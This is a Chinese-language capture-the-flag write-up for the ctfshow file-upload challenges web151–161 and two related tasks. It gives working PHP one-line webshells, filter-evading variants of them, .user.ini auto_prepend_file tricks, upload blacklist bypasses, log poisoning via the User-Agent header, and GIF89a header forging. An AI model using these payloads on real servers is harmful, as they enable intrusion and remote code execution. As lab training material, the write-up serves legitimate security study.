ctfshow-文件上传-151-161

时间:2024-10-24 08:13:00

CTFshow文件上传

PHP文件上传:1、代码思路

黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。

2、绕过

找漏网之鱼:cer、php3、php4、phtml等。

大小写绕过:AsP、PhP

双写绕过:.pphphp

上传文件后,在后缀加上123.php可以执行刚刚上传的文件

web151:首先上传一个文件,发现不行,要求是图片格式,我们可以直接查看源代码修改一下上传文件的格式就行,把png那一部分删除掉,并且把文件类型改为file

web153: 在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?php eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php');

web154:在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?=eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php'); 或者打开蚁剑进行连接寻找目录

web155:payload和上题一样

web156:写入一句话木马的时候报错,使用排除法发现是POST[1]这边会错误,所以把[]改为{}就可以了

web157:写入一句话木马的时候会报错。使用排除法发现是分号不可用,POST[1]也不可以用,所以我们使用<?=eval(array_pop($_POST))?>,这个函数来执行一句话木马

web158:payload与157一样

web159:过滤了括号,分号,中括号大括号;但是我们可以直接把1.txt的内容改为<?=`tac /var/www/html/flag.p??`?>,直接进行绕过,使用<?=`tac f*`?>不知道为什么不可以,但是WP那边可以

web160:刚开始和之前的步骤还是一模一样,先打开F12改一下源码,把文件类型改为文件

然后打开BP开始抓

修改文件内容。名字和类型还有内容都要修改,

文件类型改为:image/png.

文件内容改为:auto_prepend_file=1.txt

文件名字改为:.user.ini

上传后再上传一个1.txt文件,文件内容为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这样就可以查看日志文件了,然后在upload界面添加User-Agent头文件内容为一句话木马<php eval($_POST[1]);>,然后用蚁剑连接一下这个服务器,找到flag.php就可以找到flag了

web161:发现怎么传都显示错误,后面发现是文件头那边需要改为GIF89a才可以绕过,伪造图片文件头 GIF89a,

其余部分与上方一致

攻防世界:easyupload

这道题目试了很久很久,我直接上传文件也传不了,有时候提示说你的文件很危险,我们提交一下GIF89a,然后就可以消除这个,还有一个说文件类很危险,我排除出来是<?php eval($_POST[1])?>有问题,所以我们就应该把一句话木马改一下

拓展:

auto_prepend_file的用法:

auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?

例如在.user.ini文件中写入

auto_prepend_file=a.jpg

然后在a.jpg中写入一个一句话代码

<?=eval($_REQUEST['cmd']);?>

那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。

将写好的.user.ini文件上传,修改content-type为图片格式

和上面的题目没什么区别,只是一句话木马那边有区别。

最后蚁剑拿下,这边一定要找到上传点在哪里,然后再去用蚁剑链接,要不然是不行的

phar伪协议读取文件上传

这道题目只能上传压缩包和图片格式

我们把php文件压缩成zip格式

发现上传成功,这时候我们需要将bingdundun用phar伪协议读取里面的3.php文件,然后POST:1=phpinfo()看看有没有上传成功

之后通过蚁剑进行连接就可以了